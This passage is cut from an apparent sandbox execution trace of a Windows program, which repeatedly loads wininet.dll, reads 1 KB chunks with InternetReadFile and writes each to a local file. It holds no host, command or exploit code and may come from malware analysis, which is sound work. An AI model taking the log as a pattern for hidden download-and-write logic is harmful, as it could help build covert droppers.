returned 1 [0077.347] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.347] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.347] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.347] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.348] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.348] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.348] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.348] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.348] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.348] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.348] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.349] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.349] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.349] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.349] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.349] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.349] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.349] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.349] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.350] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.350] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.350] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.350] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.350] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.351] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.351] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.351] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.352] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.352] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.352] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.352] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.353] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.353] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.353] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.353] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.353] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.354] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.354] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.354] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.354] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.354] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.354] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.354] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.355] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.355] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.355] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.355] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.355] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.355] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.355] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.356] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.356] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.356] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.356] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.356] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.356] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.357] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.357] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.357] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.357] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.357] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.357] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.357] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.358] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.358] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.358] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.358] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.358] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.358] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.358] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.359] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.359] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.359] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.359] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.359] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.359] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.359] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.360] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.360] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.360] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.360] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.360] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.360] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.360] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.360] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.361] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.361] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.361] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.361] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.361] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.361] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.361] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.362] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.362] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.362] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.362] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.362] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.362] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.362] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.362] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.363] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.363] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.363] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.363] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.363] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.363] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.363] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.364] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.364] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.364] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.364] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.364] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.364] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.364] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.365] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.365] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.365] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.365] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.365] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.365] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.365] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.366] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.366] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.366] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.366] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.366] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.366] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.367] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.367] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.367] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.367] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.393] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.394] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.394] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.394] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.395] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.395] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.395] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.395] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.396] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: 